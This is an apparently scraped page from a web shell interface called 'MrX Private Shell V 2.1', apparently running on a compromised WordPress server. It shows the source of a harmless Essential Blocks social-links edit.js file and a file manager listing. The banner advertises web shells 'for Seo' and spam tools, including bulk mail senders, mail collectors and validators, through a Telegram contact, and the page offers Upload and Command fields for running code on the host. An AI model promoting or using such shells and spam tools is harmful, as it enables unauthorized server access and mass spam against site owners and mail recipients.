__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * WordPress dependencies
 */
import { __ } from "@wordpress/i18n";
import { useEffect, memo, useCallback } from "@wordpress/element";

/**
 * Internal dependencies
 */

import SocialLinks from "./components/social-links";

import {
    BlockProps,
    withBlockContext
} from "@essential-blocks/controls";

import Inspector from "./inspector";
import Style from "./style";
import defaultAttributes from './attributes';

function Edit(props) {
    const {
        attributes,
        setAttributes,
        className,
        clientId,
        isSelected,
        name
    } = props;
    const {
        resOption,
        blockId,
        blockMeta,
        socialDetails,
        profilesOnly = [],
        icnEffect,
        classHook,
    } = attributes;

    //
    useEffect(() => {
        const profilesOnly = socialDetails.map(
            ({ icon, link, linkOpenNewTab }) => ({
                icon,
                link,
                linkOpenNewTab,
            })
        );

        setAttributes({ profilesOnly });
    }, [socialDetails]);

    // you must declare this variable
    const enhancedProps = {
        ...props,
        blockPrefix: 'eb-social-links',
        style: <Style {...props} />
    };

    //Run onMount Function inside BlockProps.Edit component useEffect
    enhancedProps.onMount = () => {
        if (socialDetails.length === 0) {
            const newSclDtails = [
                {
                    icon: "fab fa-facebook-f",
                    link: "#",
                    linkOpenNewTab: false,
                    isExpanded: false,
                },
                {
                    icon: "fab fa-x-twitter",
                    link: "#",
                    linkOpenNewTab: false,
                    isExpanded: false,
                },
                {
                    icon: "fab fa-instagram",
                    link: "#",
                    linkOpenNewTab: false,
                    isExpanded: false,
                },
                {
                    icon: "fab fa-youtube",
                    link: "#",
                    linkOpenNewTab: false,
                    isExpanded: false,
                },
                {
                    icon: "fab fa-linkedin-in",
                    link: "#",
                    linkOpenNewTab: false,
                    isExpanded: false,
                },
            ];

            setAttributes({ socialDetails: [...newSclDtails] });
        }
        else {
            const newProfiles = socialDetails.map((profile) => ({
                ...profile,
                isExpanded: false,
            }));

            setAttributes({ socialDetails: newProfiles });
        }
    }

    return (
        <>
            {isSelected && (
                <Inspector
                    attributes={attributes}
                    setAttributes={setAttributes}
                />
            )}
            <BlockProps.Edit {...enhancedProps}>
                <div
                    className={`eb-parent-wrapper eb-parent-${blockId} ${classHook}`}
                >
                    <div className={`${blockId} eb-social-links-wrapper`}>
                        <SocialLinks
                            profilesOnly={profilesOnly}
                            icnEffect={icnEffect}
                        />
                    </div>
                </div>
            </BlockProps.Edit>
        </>
    );
}
export default memo(withBlockContext(defaultAttributes)(Edit))

Filemanager

Name Type Size Permission Actions
components Folder 0750
constants Folder 0750
attributes.js File 3.65 KB 0640
deprecated.js File 3.58 KB 0640
edit.js File 3.43 KB 0640
example.js File 674 B 0640
icon.svg File 1.97 KB 0640
index.js File 757 B 0640
inspector.js File 17.85 KB 0640
save.js File 655 B 0640
style.css File 2.58 KB 0640
style.js File 11.21 KB 0640
style.scss File 2.45 KB 0640
Filemanager